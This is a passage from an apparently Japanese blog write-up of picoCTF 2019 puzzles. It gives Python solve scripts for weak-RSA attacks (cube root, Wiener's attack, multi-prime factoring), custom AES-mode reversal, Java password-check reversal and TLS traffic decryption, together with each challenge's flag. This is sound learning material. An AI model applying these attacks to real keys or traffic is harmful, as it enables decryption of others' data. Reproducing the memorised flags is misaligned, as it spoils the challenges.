from Crypto.Util.number import *

e = 3
c = 2205316413931134031074603746928247799030155221252519872650090188613452564237125578465730267259964004717502122380246206889902726277183873277327660628860571110294829824875203511275589025377840116767106200804425285036496482998467992009084773

m = gmpy.root(c, e)[0]
flag = long_to_bytes(m)
print flag
picoCTF{n33d_a_lArg3r_e_e8e7052f}

vault-door-5 (Reverse Engineering 300)

javaファイルが添付されている。フラグに関係がある部分は以下のようになっている。

    public boolean checkPassword(String password) {
        String urlEncoded = urlEncode(password.getBytes());
        String base64Encoded = base64Encode(urlEncoded.getBytes());
        String expected = "JTYzJTMwJTZlJTc2JTMzJTcyJTc0JTMxJTZlJTY3JTVm"
                        + "JTY2JTcyJTMwJTZkJTVmJTYyJTYxJTM1JTY1JTVmJTM2"
                        + "JTM0JTVmJTMzJTM3JTM4JTMwJTM0JTY1JTM3JTM5";
        return base64Encoded.equals(expected);
    }

この文字列をBase64デコードして、URLデコードする。

enc = "JTYzJTMwJTZlJTc2JTMzJTcyJTc0JTMxJTZlJTY3JTVm" \
    + "JTY2JTcyJTMwJTZkJTVmJTYyJTYxJTM1JTY1JTVmJTM2" \
    + "JTM0JTVmJTMzJTM3JTM4JTMwJTM0JTY1JTM3JTM5"

dec = enc.decode('base64')
dec = dec.replace('%', '').decode('hex')
flag = 'picoCTF{%s}' %dec
print flag
picoCTF{c0nv3rt1ng_fr0m_ba5e_64_37804e79}

waves over lambda (Cryptography 300)

$ nc 2019shell1.picoctf.com 49935
-------------------------------------------------------------------------------
jmyglsac dwlw rc omel kxsg - klwbewyjo_rc_j_muwl_xsqits_uajlkuuscm
-------------------------------------------------------------------------------
dsuryg dst cmqw arqw sa qo trcnmcsx pdwy ry xmytmy, r dst urcrawt adw ilrarcd qecweq, syt qstw cwsljd sqmyg adw immhc syt qsnc ry adw xrilslo lwgsltryg alsycoxusyrs; ra dst calejh qw adsa cmqw kmlwhympxwtgw mk adw jmeyalo jmext dsltxo ksrx am dsuw cmqw rqnmlasyjw ry twsxryg prad s ymixwqsy mk adsa jmeyalo. r kryt adsa adw trcalrja dw ysqwt rc ry adw wfalwqw wsca mk adw jmeyalo, zeca my adw imltwlc mk adlww casawc, alsycoxusyrs, qmxtsurs syt iehmurys, ry adw qrtca mk adw jslnsadrsy qmeyasryc; myw mk adw prxtwca syt xwsca hympy nmlarmyc mk welmnw. r psc yma sixw am xrgda my syo qsn ml pmlh gruryg adw wfsja xmjsxrao mk adw jscaxw tlsjexs, sc adwlw slw ym qsnc mk adrc jmeyalo sc owa am jmqnslw prad mel mpy mltysyjw celuwo qsnc; iea r kmeyt adsa ircalrav, adw nmca ampy ysqwt io jmeya tlsjexs, rc s ksrlxo pwxx-hympy nxsjw. r cdsxx wyawl dwlw cmqw mk qo ymawc, sc adwo qso lwklwcd qo qwqmlo pdwy r asxh muwl qo alsuwxc prad qrys.

換字式暗号のようなので、qupqiupで調整しながら、復号する。

-------------------------------------------------------------------------------
congrats here is your flag - frequency_is_c_over_lambda_vtcrfvvaso
-------------------------------------------------------------------------------
having had some time at my dis?osal when in london, i had visited the british museum, and made search among the books and ma?s in the library regarding transylvania; it had struck me that some foreknowledge of the country could hardly fail to have some im?ortance in dealing with a nobleman of that country. i find that the district he named is in the extreme east of the country, ?ust on the borders of three states, transylvania, moldavia and bukovina, in the midst of the car?athian mountains; one of the wildest and least known ?ortions of euro?e. i was not able to light on any ma? or work giving the exact locality of the castle dracula, as there are no ma?s of this country as yet to com?are with our own ordnance survey ma?s; but i found that bistrit?, the ?ost town named by count dracula, is a fairly well-known ?lace. i shall enter here some of my notes, as they may refresh my memory when i talk over my travels with mina.
picoCTF{frequency_is_c_over_lambda_vtcrfvvaso}

WebNet0 (Forensics 350)

Wiresharkで以下のパラメータと合わせて秘密鍵を設定する。

IP address: 172.31.22.220
Port: 443
Protocol: http

HTTPストリームを見る。

GET /starter-template.css HTTP/1.1
Host: ec2-18-223-184-200.us-east-2.compute.amazonaws.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://ec2-18-223-184-200.us-east-2.compute.amazonaws.com/
Pragma: no-cache
Cache-Control: no-cache

HTTP/1.1 200 OK
Date: Fri, 23 Aug 2019 15:56:36 GMT
Server: Apache/2.4.29 (Ubuntu)
Last-Modified: Mon, 12 Aug 2019 16:47:05 GMT
ETag: "62-58fee462bf227-gzip"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Encoding: gzip
Pico-Flag: picoCTF{nongshim.shrimp.crackers}
Content-Length: 100
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/css
        :
        :
picoCTF{nongshim.shrimp.crackers}

vault-door-6 (Reverse Engineering 350)

javaファイルが添付されている。フラグに関係がある部分は以下のようになっている。

    public boolean checkPassword(String password) {
        if (password.length() != 32) {
            return false;
        }
        byte[] passBytes = password.getBytes();
        byte[] myBytes = {
            0x3b, 0x65, 0x21, 0xa , 0x38, 0x0 , 0x36, 0x1d,
            0xa , 0x3d, 0x61, 0x27, 0x11, 0x66, 0x27, 0xa ,
            0x21, 0x1d, 0x61, 0x3b, 0xa , 0x2d, 0x65, 0x27,
            0xa , 0x36, 0x63, 0x66, 0x67, 0x37, 0x62, 0x61,
        };
        for (int i=0; i<32; i++) {
            if (((passBytes[i] ^ 0x55) - myBytes[i]) != 0) {
                return false;
            }
        }
        return true;
    }

0x55とXORしたものと比較していることからフラグを導き出す。

enc = [
    0x3b, 0x65, 0x21, 0xa , 0x38, 0x0 , 0x36, 0x1d,
    0xa , 0x3d, 0x61, 0x27, 0x11, 0x66, 0x27, 0xa ,
    0x21, 0x1d, 0x61, 0x3b, 0xa , 0x2d, 0x65, 0x27,
    0xa , 0x36, 0x63, 0x66, 0x67, 0x37, 0x62, 0x61,
]

flag = ''
for e in enc:
    flag += chr(e ^ 0x55)

flag = 'picoCTF{%s}' % flag
print flag
picoCTF{n0t_mUcH_h4rD3r_tH4n_x0r_c632b74}

AES-ABC (Cryptography 400)

改行3つ目までがheader、残りがdata。dataに対して、aes_abc_encryptを実行する。aes_abc_encryptは以下のような処理で、計算内容はCBCとは異なるが、影響範囲としてはCBCと同様の処理をしている。

・padding後、AES-ECB暗号化する
・iv: ランダム16バイト
・(前のブロック+現在のブロック) % UMAX

block[0] = iv
(block[0] + block[1]) % UMAX -> block[1]
(block[1] + block[2]) % UMAX -> block[2]
       :
(block[n-1] + block[n]) % UMAX -> blocl[n]

最初の1ブロック以外はAES暗号の復号前まで戻してみる。

import math

BLOCK_SIZE = 16
UMAX = int(math.pow(256, BLOCK_SIZE))

def to_bytes(n):
    s = hex(n)
    s_n = s[2:]
    if 'L' in s_n:
        s_n = s_n.replace('L', '')
    if len(s_n) % 2 != 0:
        s_n = '0' + s_n
    decoded = s_n.decode('hex')

    pad = (len(decoded) % BLOCK_SIZE)
    if pad != 0: 
        decoded = "\0" * (BLOCK_SIZE - pad) + decoded
    return decoded

def remove_line(s):
    # returns the header line, and the rest of the file
    return s[:s.index('\n') + 1], s[s.index('\n')+1:]

def parse_header_ppm(f):
    data = f.read()

    header = ""

    for i in range(3):
        header_i, data = remove_line(data)
        header += header_i

    return header, data

def aes_abc_tmp_decrypt(ct):
    blocks = [ct[i * BLOCK_SIZE:(i+1) * BLOCK_SIZE] for i in range(len(ct) / BLOCK_SIZE)]
    blocks.reverse()
    new_blocks = []
    for i in range(len(blocks) - 1):
        prev_blk = int(blocks[i].encode('hex'), 16)
        curr_blk = int(blocks[i+1].encode('hex'), 16)
        n_curr_blk = prev_blk - curr_blk
        if n_curr_blk < 0:
            n_curr_blk += UMAX
        new_blocks.append(to_bytes(n_curr_blk))
    new_blocks.reverse()

    return ''.join(new_blocks)

with open('body.enc.ppm', 'rb') as f:
    header, data = parse_header_ppm(f)

dec = aes_abc_tmp_decrypt(data)

with open('tmp_flag.ppm', 'wb') as f:
    f.write(header + dec[:16] + dec)

f:id:satou-y:20191017215241p:plain
何とかフラグを読み取れる。

picoCTF{d0Nt_r0ll_yoUr_0wN_aES}

b00tl3gRSA2 (Cryptography 400)

$ nc 2019shell1.picoctf.com 10814
c: 13793858598606185346187522487275541892820726174499569231680257603623357688993530677863584992636796187707417750162128752476219857212460103511568398268349269492500478163386042379297834200848572801846223635147203800428610832359806995791464994105291806737886082986496835175662238193229510360206462697208899171989
n: 76688918376639384056948708061881763020374785261192009248360211072631229367139461998112771644463558450478793700934191029284106264422345928019392758524314796468848626557525758342884324016058426354865987550036392167563034197698536992762004036339941692434262827202393456023585106148957965757134972532963293828303
e: 33810665846386291147618535647649597337545341491628880101654331732191078952868267009070760393291271462961903431569838649925003683479855093217454786834941349337159786090166683846868513433820922900267112841110670550432665993398345137259528753733539957873485645414053262762670740546497019362906934282901810122129

eが非常に大きいので、Wiener's Attackで復号する。

from fractions import Fraction

def egcd(a, b):
    x,y, u,v = 0,1, 1,0
    while a != 0:
        q, r = b//a, b%a
        m, n = x-u*q, y-v*q
        b,a, x,y, u,v = a,r, u,v, m,n
        gcd = b
    return gcd, x, y

def decrypt(p, q, e, c):
    n = p * q
    phi = (p - 1) * (q - 1)
    gcd, a, b = egcd(e, phi)
    d = a
    pt = pow(c, d, n)
    return hex(pt)[2:-1].decode('hex')

def continued_fractions(n,e):
    cf = [0]
    while e != 0:
        cf.append(int(n/e))
        N = n
        n = e
        e = N%e
    return cf

def calcKD(cf):
    kd = list()
    for i in range(1,len(cf)+1):
        tmp = Fraction(0)
        for j in cf[1:i][::-1]:
            tmp = 1/(tmp+j)
        kd.append((tmp.numerator,tmp.denominator))
    return kd

def int_sqrt(n):
    def f(prev):
        while True:
            m = (prev + n/prev)/2
            if m >= prev:
                return prev
            prev = m
    return f(n)

def calcPQ(a,b):
    if a*a < 4*b or a < 0:
        return None
    c = int_sqrt(a*a-4*b)
    p = (a + c) /2
    q = (a - c) /2
    if p + q == a and p * q == b:
        return (p,q)
    else:
        return None

def wiener(n,e):
    kd = calcKD(continued_fractions(n,e))
    for (k,d) in kd:
        if k == 0:
            continue
        if (e*d-1) % k != 0:
            continue
        phin = (e*d-1) / k
        if phin >= n:
            continue
        ans = calcPQ(n-phin+1,n)
        if ans is None:
            continue
        return (ans[0],ans[1])

c = 13793858598606185346187522487275541892820726174499569231680257603623357688993530677863584992636796187707417750162128752476219857212460103511568398268349269492500478163386042379297834200848572801846223635147203800428610832359806995791464994105291806737886082986496835175662238193229510360206462697208899171989
n = 76688918376639384056948708061881763020374785261192009248360211072631229367139461998112771644463558450478793700934191029284106264422345928019392758524314796468848626557525758342884324016058426354865987550036392167563034197698536992762004036339941692434262827202393456023585106148957965757134972532963293828303
e = 33810665846386291147618535647649597337545341491628880101654331732191078952868267009070760393291271462961903431569838649925003683479855093217454786834941349337159786090166683846868513433820922900267112841110670550432665993398345137259528753733539957873485645414053262762670740546497019362906934282901810122129

p, q = wiener(n, e)

flag = decrypt(p, q, e, c)
print flag
picoCTF{bad_1d3a5_3347891}

vault-door-7 (Reverse Engineering 400)

javaファイルが添付されている。フラグに関係がある部分は以下のようになっている。

    public boolean checkPassword(String password) {
        if (password.length() != 32) {
            return false;
        }
        int[] x = passwordToIntArray(password);
        return x[0] == 1096770097
            && x[1] == 1952395366
            && x[2] == 1600270708
            && x[3] == 1601398833
            && x[4] == 1716808014
            && x[5] == 1734292281
            && x[6] == 1698182450
            && x[7] == 1684289586;
    }

この数値から文字にしていく。

import struct

enc = [1096770097, 1952395366, 1600270708, 1601398833, 1716808014,
    1734292281, 1698182450, 1684289586]

flag = ''
for e in enc:
    flag += struct.pack('>I', e)

flag = 'picoCTF{%s}' % flag
print flag
picoCTF{A_b1t_0f_b1t_sh1fTiNg_39e852dd82}

WebNet1 (Forensics 450)

Wiresharkで以下のパラメータと合わせて秘密鍵を設定する。

IP address: 172.31.22.220
Port: 443
Protocol: http

vulture.jpgをエクスポートし、EXIFを見てみる。

$ exiftool vulture.jpg 
ExifTool Version Number         : 10.10
File Name                       : vulture.jpg
Directory                       : .
File Size                       : 69 kB
File Modification Date/Time     : 2019:09:28 16:20:10+09:00
File Access Date/Time           : 2019:09:28 16:20:31+09:00
File Inode Change Date/Time     : 2019:09:28 16:20:10+09:00
File Permissions                : rwxrwxrwx
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Exif Byte Order                 : Big-endian (Motorola, MM)
X Resolution                    : 1
Y Resolution                    : 1
Resolution Unit                 : None
Artist                          : picoCTF{honey.roasted.peanuts}
Y Cb Cr Positioning             : Centered
Profile CMM Type                : lcms
Profile Version                 : 2.1.0
Profile Class                   : Display Device Profile
Color Space Data                : RGB
Profile Connection Space        : XYZ
Profile Date Time               : 2012:01:25 03:41:57
Profile File Signature          : acsp
Primary Platform                : Apple Computer Inc.
CMM Flags                       : Not Embedded, Independent
Device Manufacturer             : 
Device Model                    : 
Device Attributes               : Reflective, Glossy, Positive, Color
Rendering Intent                : Perceptual
Connection Space Illuminant     : 0.9642 1 0.82491
Profile Creator                 : lcms
Profile ID                      : 0
Profile Description             : c2
Profile Copyright               : FB
Media White Point               : 0.9642 1 0.82491
Media Black Point               : 0.01205 0.0125 0.01031
Red Matrix Column               : 0.43607 0.22249 0.01392
Green Matrix Column             : 0.38515 0.71687 0.09708
Blue Matrix Column              : 0.14307 0.06061 0.7141
Red Tone Reproduction Curve     : (Binary data 64 bytes, use -b option to extract)
Green Tone Reproduction Curve   : (Binary data 64 bytes, use -b option to extract)
Blue Tone Reproduction Curve    : (Binary data 64 bytes, use -b option to extract)
Image Width                     : 640
Image Height                    : 716
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 640x716
Megapixels                      : 0.458

Artistにフラグが設定されている。

picoCTF{honey.roasted.peanuts}

b00tl3gRSA3 (Cryptography 450)

$ nc 2019shell1.picoctf.com 32246
c: 895001341042775595914955574834831490589674569996731972925421151683392381213789611999337500706849076458646852809859731237710919705868316092987174778384883036178501473695091273824547689492395946284758507086106530211663844853015472558325068902745528542273143615098690955458638512970194148504705244634687227371334275732273448227595644231710528384
n: 10100930015362477203208433496334538615216198204670596750787721785087196359230824740939248816893878687719329195271125422013463078828630438025258700900537106786551605673073188105114330945687041075495324394112588738391307969251912736912674607263208762582441744102939816104354161930834456466572427672724712016261744812617042645450725856258963492993
e: 65537

nを素因数分解する。

$ python -m primefac 10100930015362477203208433496334538615216198204670596750787721785087196359230824740939248816893878687719329195271125422013463078828630438025258700900537106786551605673073188105114330945687041075495324394112588738391307969251912736912674607263208762582441744102939816104354161930834456466572427672724712016261744812617042645450725856258963492993
10100930015362477203208433496334538615216198204670596750787721785087196359230824740939248816893878687719329195271125422013463078828630438025258700900537106786551605673073188105114330945687041075495324394112588738391307969251912736912674607263208762582441744102939816104354161930834456466572427672724712016261744812617042645450725856258963492993: 12205495097 11161257853 10941437519 11489186321 13042115077 11165353907 9659147851 10635603613 9251415559 10885265219 16249361629 12649980659 16647784739 8630760791 12844878169 12304484821 15478382767 9447893711 11549280851 10078480663 16545736927 16364501161 13271317769 10012376573 16168927013 16132192283 9763931897 9898051883 16916020673 13496857547 11543110069 13102479631 10511870431 14967470149

たくさんの素数に分解されたので、Multi-Prime RSAの復号方法で復号する。

from Crypto.Util.number import *

def chinese_remainder(n, a):
    sum = 0
    prod = reduce(lambda a, b: a*b, n)

    for n_i, a_i in zip(n, a):
        p = prod / n_i
        sum += a_i * inverse(p, n_i) * p
    return sum % prod

c = 895001341042775595914955574834831490589674569996731972925421151683392381213789611999337500706849076458646852809859731237710919705868316092987174778384883036178501473695091273824547689492395946284758507086106530211663844853015472558325068902745528542273143615098690955458638512970194148504705244634687227371334275732273448227595644231710528384
n = 10100930015362477203208433496334538615216198204670596750787721785087196359230824740939248816893878687719329195271125422013463078828630438025258700900537106786551605673073188105114330945687041075495324394112588738391307969251912736912674607263208762582441744102939816104354161930834456466572427672724712016261744812617042645450725856258963492993
e = 65537

primes = [
    12205495097, 11161257853, 10941437519, 11489186321, 13042115077,
    11165353907, 9659147851, 10635603613, 9251415559, 10885265219,
    16249361629, 12649980659, 16647784739, 8630760791, 12844878169,
    12304484821, 15478382767, 9447893711, 11549280851, 10078480663,
    16545736927, 16364501161, 13271317769, 10012376573, 16168927013,
    16132192283, 9763931897, 9898051883, 16916020673, 13496857547,
    11543110069, 13102479631, 10511870431, 14967470149]

n_ary = []
a_ary = []
for p in primes:
    phi = p - 1
    d = inverse(e, phi)
    mk = pow(c, d, p)
    n_ary.append(p)
    a_ary.append(mk)

m = chinese_remainder(n_ary, a_ary)
flag = long_to_bytes(m)
print flag
picoCTF{too_many_fact0rs_0867821}

john_pollard (Cryptography 500)

証明書の公開鍵の情報を見てみる。

$ openssl x509 -text -noout -in cert
Certificate:
    Data:
        Version: 1 (0x0)
        Serial Number: 12345 (0x3039)
    Signature Algorithm: md2WithRSAEncryption
        Issuer: CN=PicoCTF
        Validity
            Not Before: Jul  8 07:21:18 2019 GMT
            Not After : Jun 26 17:34:38 2019 GMT
        Subject: OU=PicoCTF, O=PicoCTF, L=PicoCTF, ST=PicoCTF, C=US, CN=PicoCTF
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                Public-Key: (53 bit)
                Modulus: 4966306421059967 (0x11a4d45212b17f)
                Exponent: 65537 (0x10001)
    Signature Algorithm: md2WithRSAEncryption
         07:6a:5d:61:32:c1:9e:05:bd:eb:77:f3:aa:fb:bb:83:82:eb:
         9e:a2:93:af:0c:2f:3a:e2:1a:e9:74:6b:9b:82:d8:ef:fe:1a:
         c8:b2:98:7b:16:dc:4c:d8:1e:2b:92:4c:80:78:85:7b:d3:cc:
         b7:d4:72:29:94:22:eb:bb:11:5d:b2:9a:af:7c:6b:cb:b0:2c:
         a7:91:87:ec:63:bd:22:e8:8f:dd:38:0e:a5:e1:0a:bf:35:d9:
         a4:3c:3c:7b:79:da:8e:4f:fc:ca:e2:38:67:45:a7:de:6e:a2:
         6e:71:71:47:f0:09:3e:1b:a0:12:35:15:a1:29:f1:59:25:35:
         a3:e4:2a:32:4c:c2:2e:b4:b5:3d:94:38:93:5e:78:37:ac:35:
         35:06:15:e0:d3:87:a2:d6:3b:c0:7f:45:2b:b6:97:8e:03:a8:
         d4:c9:e0:8b:68:a0:c5:45:ba:ce:9b:7e:71:23:bf:6b:db:cc:
         8e:f2:78:35:50:0c:d3:45:c9:6f:90:e4:6d:6f:c2:cc:c7:0e:
         de:fa:f7:48:9e:d0:46:a9:fe:d3:db:93:cb:9f:f3:32:70:63:
         cf:bc:d5:f2:22:c4:f3:be:f6:3f:31:75:c9:1e:70:2a:a4:8e:
         43:96:ac:33:6d:11:f3:ab:5e:bf:4b:55:8b:bf:38:38:3e:c1:
         25:9a:fd:5f

Hintを見ると、フラグフォーマットはpicoCTF{p,q}ということなので、n(=4966306421059967)を素因数分解する。

$ python -m primefac 4966306421059967
4966306421059967: 73176001 67867967
picoCTF{73176001,67867967}